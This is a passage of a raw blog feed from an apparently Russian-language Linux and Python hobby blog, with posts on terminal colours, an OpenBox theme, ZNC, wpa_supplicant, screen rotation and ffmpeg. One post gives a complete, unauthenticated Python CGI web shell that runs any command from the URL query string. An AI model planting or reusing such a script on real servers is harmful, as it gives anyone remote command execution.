href='http://ivinside.blogspot.com/2011/02/blog-post_16.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1566296539520403036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1566296539520403036'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/02/blog-post_16.html' title='Проверка логина на корректность'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-3071295378949432059</id><published>2011-02-15T03:18:00.000-08:00</published><updated>2011-02-15T03:18:55.019-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='yandex'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Преобразование числа в IP адрес</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Возобновляю записи по питону! На сайте Яндекса можно найти много тренировочных задачек, что ж, приступим. :)&lt;br /&gt;&lt;br /&gt;def ip2str(ip):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ip &amp;gt; 0xffffffff:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; raise ValueError('number must be 32 bit')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ipstr = str(ip &amp;gt;&amp;gt; 24) + '.' + \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; str((ip &amp;amp; 0x00ffffff) &amp;gt;&amp;gt; 16) + '.' + \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; str((ip &amp;amp; 0x0000ffff) &amp;gt;&amp;gt; 8) + '.' + \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; str((ip &amp;amp; 0x000000ff))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print ipstr&lt;br /&gt;&lt;br /&gt;Эта функция принимает число, и печатает его в виде строки IP адреса. Как-то так сделал с помощью наложения масок и байтовых сдвигов.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-3071295378949432059?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/3071295378949432059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/02/ip.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3071295378949432059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3071295378949432059'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/02/ip.html' title='Преобразование числа в IP адрес'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-2782767794952992051</id><published>2011-02-14T13:30:00.000-08:00</published><updated>2011-02-14T13:31:00.617-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='urxvt'/><title type='text'>Консоль - лучший друг линуксоида</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Поэтому требует особенного внимания к себе. Недавно перешел на всеми любимый urxvt, и там есть возможность менять стандартные цвета терминала для лучшего восприятия информации. Но какие параметры за что отвечают? Вразумительного ответа в сети я не нашел и путем экспериментов выяснил сам. Во-первых, нужно создать файл, который будет выводить надписи в терминал разными цветами. Вот он:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;echo -e "\e[0;30mCOLOR_BLACK\t\e[1;30mCOLOR_BOLD_BLACK"&lt;br /&gt;echo -e "\e[0;31mCOLOR_RED\t\e[1;31mCOLOR_BOLD_RED"&lt;br /&gt;echo -e "\e[0;32mCOLOR_GREEN\t\e[1;32mCOLOR_BOLD_GREEN"&lt;br /&gt;echo -e "\e[0;33mCOLOR_YELLOW\t\e[1;33mCOLOR_BOLD_YELLOW"&lt;br /&gt;echo -e "\e[0;34mCOLOR_BLUE\t\e[1;34mCOLOR_BOLD_BLUE"&lt;br /&gt;echo -e "\e[0;35mCOLOR_PURPLE\t\e[1;35mCOLOR_BOLD_PURPLE"&lt;br /&gt;echo -e "\e[0;36mCOLOR_CYAN\t\e[1;36mCOLOR_BOLD_CYAN"&lt;br /&gt;echo -e "\e[0;37mCOLOR_WHITE\t\e[1;37mCOLOR_BOLD_WHITE"&lt;/blockquote&gt;&lt;br /&gt;Настройки urxvt надо записывать в файл ~/.Xdefaults, среди которых есть color0-15, соответствие которых с выводом вышенаписанного скрипта представлено ниже:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;color0 = COLOR_BLACK&lt;br /&gt;color1 = COLOR_RED&lt;br /&gt;color2 = COLOR_GREEN&lt;br /&gt;color3 = COLOR_YELLOW&lt;br /&gt;color4 = COLOR_BLUE&lt;br /&gt;color5 = COLOR_PURPLE&lt;br /&gt;color6 = COLOR_CYAN&lt;br /&gt;color7 = COLOR_WHITE&lt;br /&gt;color8 = COLOR_BOLD_BLACK&lt;br /&gt;color9 = COLOR_BOLD_RED&lt;br /&gt;color10 = COLOR_BOLD_GREEN&lt;br /&gt;color11 = COLOR_BOLD_YELLOW&lt;br /&gt;color12 = COLOR_BOLD_BLUE&lt;br /&gt;color13 = COLOR_BOLD_PURPLE&lt;br /&gt;color14 = COLOR_BOLD_CYAN&lt;br /&gt;color15 = COLOR_BOLD_WHITE&lt;/blockquote&gt;&lt;br /&gt;Немного повозившись поставил следующие цвета:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;URxvt.color0:    #333333&lt;br /&gt;URxvt.color1:    #d43a2a&lt;br /&gt;URxvt.color2:    #00c800&lt;br /&gt;URxvt.color3:    #cdcd00&lt;br /&gt;URxvt.color4:    #005d9a&lt;br /&gt;URxvt.color5:    #cd68cd&lt;br /&gt;URxvt.color6:    #009f9f&lt;br /&gt;URxvt.color7:    #dddddd&lt;br /&gt;URxvt.color8:    #333333&lt;br /&gt;URxvt.color9:    #d43a2a&lt;br /&gt;URxvt.color10:    #00c800&lt;br /&gt;URxvt.color11:    #cdcd00&lt;br /&gt;URxvt.color12:    #005d9a&lt;br /&gt;URxvt.color13:    #cd68cd&lt;br /&gt;URxvt.color14:    #009f9f&lt;br /&gt;URxvt.color15:    #dddddd&lt;/blockquote&gt;&lt;br /&gt;Скриншот всего этого непотребства:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/_u_Y3wi_bosc/TVmc4KbaFrI/AAAAAAAAALQ/O9i0OPATT70/2011-02-15-002039_1280x800_scrot.png"&gt;&lt;img height="90" src="https://lh4.googleusercontent.com/_u_Y3wi_bosc/TVmc4KbaFrI/AAAAAAAAALQ/O9i0OPATT70/s144/2011-02-15-002039_1280x800_scrot.png" width="144" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-2782767794952992051?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/2782767794952992051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/02/blog-post.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2782767794952992051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2782767794952992051'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/02/blog-post.html' title='Консоль - лучший друг линуксоида'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh4.googleusercontent.com/_u_Y3wi_bosc/TVmc4KbaFrI/AAAAAAAAALQ/O9i0OPATT70/s72-c/2011-02-15-002039_1280x800_scrot.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-6055690898031210576</id><published>2010-08-21T13:38:00.000-07:00</published><updated>2010-08-21T13:39:46.333-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='openbox'/><title type='text'>MinimalGray — тема для OpenBox</title><content type='html'>Пару вечеров угробил на то, чтобы сделать самую лучшую тему для опенбокса, как я её себе представляю. Вдохновение дала популярная тема &lt;a href="http://box-look.org/content/show.php/Dyne?content=62000"&gt;Dyne&lt;/a&gt; (при ближайшем рассмотрении которой выяснилось весьма кривое оформление кода).&lt;br /&gt;Итак, что же в этой теме есть и чего там нет? В отличие от Dyne более светлые декорации окон, есть границы декорированных окон (1 пиксель), используется более читабельный нежирный шрифт с тенями, концептуальный индикатор переключения рабочих столов. Присутствует классическое затемнение декорации неактивного окна на один тон, что в общем-то не так заметно, но как бы традиционно. Кнопки управления окном появляются только при наведении. Все остальные понты и градиенты отсутствуют.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://lh4.ggpht.com/_u_Y3wi_bosc/THA0SXKa4cI/AAAAAAAAAJU/CGPux0AUNcg/screen.png"&gt;&lt;img src="http://lh4.ggpht.com/_u_Y3wi_bosc/THA0SXKa4cI/AAAAAAAAAJU/CGPux0AUNcg/s288/screen.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Скачивать архив &lt;a href="http://narod.ru/disk/23955957000/MinimalGray.tar.gz.html"&gt;тут&lt;/a&gt;. Распаковать нужно в /usr/share/themes или ~/.themes&lt;br /&gt;&lt;a href="http://openbox.org/wiki/Help:Themes"&gt;Материал&lt;/a&gt;, использованный при подготовке.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-6055690898031210576?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/6055690898031210576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/08/minimalgray-openbox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6055690898031210576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6055690898031210576'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/08/minimalgray-openbox.html' title='MinimalGray — тема для OpenBox'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_u_Y3wi_bosc/THA0SXKa4cI/AAAAAAAAAJU/CGPux0AUNcg/s72-c/screen.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-3934480357657575215</id><published>2010-08-18T01:30:00.000-07:00</published><updated>2010-08-18T01:34:28.942-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>slock — самый лучший блокиратор экрана</title><content type='html'>Про эту программу можно с уверенностью сказать — она делает что-то одно и делает это хорошо. Slock блокирует и гасит экран без лишних понтов, разблокировка происходит без всяких приглашений ввести пароль, его просто надо ввести и нажать Enter. Я в первый раз чуть не обоссался, когда всё погасло и ничего не реагировало, так что не повторяйте моих ошибок.&lt;br /&gt;&lt;br /&gt;А классический скринсейвер — это, по-моему, слишком расточительно. Мало того, что он жрет много процессорного времени, если там стоит мало-мальски серьезная сцена. Так и ещё много ненужного функционала, который работает постоянно, как например демон в xscreensaver.&lt;br /&gt;&lt;br /&gt;Правда при использовании slock возможно придется изменить параметр, отвечающий за отключение экрана из-за неактивности в xorg.conf (по умолчанию 10 минут, маловато), нужно добавить в секцию ServerFlags (у меня этой секции вообще не было, пришлось добавить и её) следующую опцию: Option "BlankTime" "240". 240 — количество минут, оптимальное на мой взгляд время, чтобы экран точно не погас во время просмотра какого-нибудь фильма. :)&lt;br /&gt;&lt;br /&gt;Ах да, &lt;a href="http://tools.suckless.org/slock"&gt;страничка&lt;/a&gt; программы. Но лучше — ищите в репозиториях своих дистрибутивов.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-3934480357657575215?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/3934480357657575215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/08/slock.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3934480357657575215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3934480357657575215'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/08/slock.html' title='slock — самый лучший блокиратор экрана'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-5292783935450821351</id><published>2010-07-28T05:36:00.000-07:00</published><updated>2010-07-28T05:36:34.380-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>Поднимаем ZNC на gentoo</title><content type='html'>ZNC - известный irc bouncer, т.е. выступает в качестве прокси при соединении с серверами irc. Полезен не только в том плане, что сохраняет личные сообщения и статус онлайн в отсутствие клиента, но и может шифровать трафик от клиента до себя.&lt;br /&gt;&lt;br /&gt;Ну и после появления у себя уютненького сервера на gentoo, я, разумеется, начал ставить туда всё что ни попадя. :) Собственно говоря, процесс поднятия ZNC практически одинаков для всех систем, под которые он предназначен, отличается лишь инсталляция. Я использовал emerge:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;# emerge irc-net/znc&lt;/b&gt;&lt;/blockquote&gt;Добавление пользователя проще всего делать в интерактивном режиме:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ znc --makeconf&lt;/b&gt;&lt;/blockquote&gt;Тут он спросит всякие настройки типа юзер/логин/порт/сервер/канал и сформирует конфиг ~/.znc/configs/znc.conf&lt;br /&gt;Всё, теперь простой командой $ znc в фоне запускается процесс, слушающий порт, который был указан при конфигурации. Подключаться к нему нужно так, если бы это был простой irc сервер, т.е. в настройках указываем ip/port - физического сервера, на котором работает znc, и user/password - того, которого создали при конфигурировании znc.&lt;br /&gt;&lt;br /&gt;Более подробная информация: http://en.znc.in/wiki/ZNC&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-5292783935450821351?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/5292783935450821351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/07/znc-gentoo.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/5292783935450821351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/5292783935450821351'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/07/znc-gentoo.html' title='Поднимаем ZNC на gentoo'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7913676158524657634</id><published>2010-07-19T12:28:00.000-07:00</published><updated>2010-07-19T12:36:19.073-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>Простейший веб шелл на питоне</title><content type='html'>&lt;pre&gt;&amp;nbsp;#!/usr/local/bin/python&lt;br /&gt;import cgitb, os, urllib, subprocess&lt;br /&gt;&lt;br /&gt;cgitb.enable()&lt;br /&gt;str_command = urllib.unquote(os.environ['QUERY_STRING'])&lt;br /&gt;&lt;br /&gt;p = subprocess.Popen(['/usr/local/bin/bash', '-c', str_command],\&lt;br /&gt;    stdout = subprocess.PIPE, stderr = subprocess.STDOUT)&lt;br /&gt;output = urllib.unquote(p.stdout.read())&lt;br /&gt;&lt;br /&gt;print """Content-Type: text/html\n&lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;$ %s&lt;br /&gt;%s&lt;br /&gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;""" % (str_command, output)&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7913676158524657634?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7913676158524657634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/07/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7913676158524657634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7913676158524657634'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/07/blog-post.html' title='Простейший веб шелл на питоне'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-3633144158042077790</id><published>2010-07-19T09:36:00.000-07:00</published><updated>2010-07-19T09:37:22.310-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Скрипт для изменения ориентации экрана (Lenovo Thinkpad X200t)</title><content type='html'>Забинден у меня на кнопочку, меняет ориентацию экрана (а также стилуса и тачскрина) по часовой стрелке при каждом нажатии. По идее должен подходить ко всем планшетным ноутам. Единственное, что может потребоваться изменить - это имена устройств, которые можно узнать командой &lt;b&gt;xsetwacom --list dev&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;function set_normal {&lt;br /&gt;xrandr -o normal&lt;br /&gt;xsetwacom set cursor Rotate none&lt;br /&gt;xsetwacom set touch Rotate none&lt;br /&gt;xsetwacom set eraser Rotate none&lt;br /&gt;orientation="normal"&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function set_right {&lt;br /&gt;xrandr -o right&lt;br /&gt;xsetwacom set cursor Rotate cw&lt;br /&gt;xsetwacom set touch Rotate cw&lt;br /&gt;xsetwacom set eraser Rotate cw&lt;br /&gt;orientation="right"&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function set_left {&lt;br /&gt;xrandr -o left&lt;br /&gt;xsetwacom set cursor Rotate ccw&lt;br /&gt;xsetwacom set touch Rotate ccw&lt;br /&gt;xsetwacom set eraser Rotate ccw&lt;br /&gt;orientation="left"&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function set_inverted {&lt;br /&gt;xrandr -o inverted&lt;br /&gt;xsetwacom set cursor Rotate half&lt;br /&gt;xsetwacom set touch Rotate half&lt;br /&gt;xsetwacom set eraser Rotate half&lt;br /&gt;orientation="inverted"&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;orientation="$(xrandr --query --verbose | grep 'LVDS1 connected' | awk '{print $5}')"&lt;br /&gt;&lt;br /&gt;if [ "$orientation" = "normal" ]; then&lt;br /&gt;        set_right&lt;br /&gt;elif [ "$orientation" = "right" ]; then&lt;br /&gt;        set_inverted&lt;br /&gt;elif [ "$orientation" = "inverted" ]; then&lt;br /&gt;        set_left&lt;br /&gt;elif [ "$orientation" = "left" ]; then&lt;br /&gt;        set_normal&lt;br /&gt;fi&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-3633144158042077790?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/3633144158042077790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/07/lenovo-thinkpad-x200t.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3633144158042077790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3633144158042077790'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/07/lenovo-thinkpad-x200t.html' title='Скрипт для изменения ориентации экрана (Lenovo Thinkpad X200t)'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-2783969299468045567</id><published>2010-07-19T08:32:00.000-07:00</published><updated>2010-07-19T09:09:09.113-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Использование wpa_supplicant</title><content type='html'>Очередным шагом в сторону стремления к минимуму энергии стал отказ от всяких богомерзких Network Manager'ов. Мало того, что они жрут оперативку и глючат, так ещё и занимают место в системном трее! Безобразие. Так что wpa_supplicant. Как бы не показалось по названию, эта утилита может работать с сетями не только WPA, но и всеми остальными (беспроводными, разумеется).&lt;br /&gt;В ней есть конфиг /etc/wpa_supplicant.conf в котором по умолчанию много буков, поэтому его можно смело удалить. Сразу приведу пример конфига, по которому всё станет ясно:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;network={&lt;br /&gt;   ssid="AP1"&lt;br /&gt;   priority=10&lt;br /&gt;   key_mgmt=NONE&lt;br /&gt;   wep_key0=355D3671207E37DC11E9D371E3&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;network={&lt;br /&gt;   ssid="AP2"&lt;br /&gt;   priority=5&lt;br /&gt;   psk=b20a16a0622753f26c6660cdde815131cc11dcf5b8d46d8c1c3dd003bbe7c791&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;network={&lt;br /&gt;   ssid="AP3"&lt;br /&gt;   priority=1&lt;br /&gt;   key_mgmt=NONE&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Видно, что конфиг состоит из блоков network, в которых собственно описываются параметры сетей, к которым wpa_supplicant будет пытаться подключаться. В примере приведены параметры сетей для статического WEP, WPA1/2 PSK и открытой сети. Параметр priority явно задает приоритет подключения, хотя он и так рассчитывается (на основании секурности и силы сигнала, что не всегда устраивает). Параметр psk - закодированный пароль, его (а точнее весь блок network) можно получить командой wpa_passphrase. Ну и запуск всего этого дела происходит командой:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;wpa_supplicant -B -D wext -i wlan0 -c /etc/wpa_supplicant.conf &lt;/b&gt;&lt;/blockquote&gt;Стоит отметить, что происходит только ассоциация с точной доступа, IP адрес всё еще нужно получить с помощью dhcpd или dhclient. Лучше это делать не сразу же после запуска wpa_supplicant, а через некоторое время (секунд 3-5), т.к. ассоциация происходит не мгновенно.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-2783969299468045567?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/2783969299468045567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/07/wpasupplicant.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2783969299468045567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2783969299468045567'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/07/wpasupplicant.html' title='Использование wpa_supplicant'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-3289053043398152693</id><published>2010-07-19T08:12:00.000-07:00</published><updated>2010-07-19T08:12:46.673-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Инвертирование цветов в X</title><content type='html'>Казалось бы, достаточно простая операция - инвертировать цвета на экране, однако далеко не все представляют, как это можно сделать средствами иксов. В основном, советовали ставить композитный оконный менеджер, но т.к. я упоротый фанат OpenBox, то это меня не устраивало. Даже в тех менеджерах, которые можно ставить отдельно от WM, т.е. в использовать вместе с ним (такие как cairo-compmgr и xcompmgr) не обладали подобной функцией. И тут я было приуныл, как решил спросить у истинного адепта линукса, наставившего меня на путь инстинный, и, да!&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;xcalib -invert -alter&lt;/b&gt;&lt;/blockquote&gt;Повесил команду на хоткей и радуюсь.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-3289053043398152693?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/3289053043398152693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/07/x.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3289053043398152693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3289053043398152693'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/07/x.html' title='Инвертирование цветов в X'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-1879684801717426861</id><published>2010-07-19T08:01:00.000-07:00</published><updated>2011-03-03T11:39:50.552-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ffmpeg'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Рипаем dvd с помощью ffmpeg</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Не так давно для меня процесс создания рипа двд диска был весьма темным знанием, известным лишь релизерам на рутрекер.орг. Однако всё оказалось очень даже просто (по крайней мере в линуксе):&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;ffmpeg -i VTS_01_1.VOB -f avi -vcodec mpeg4 -b 1500k -g 300 -bf 2 -acodec libmp3lame -ab 128k 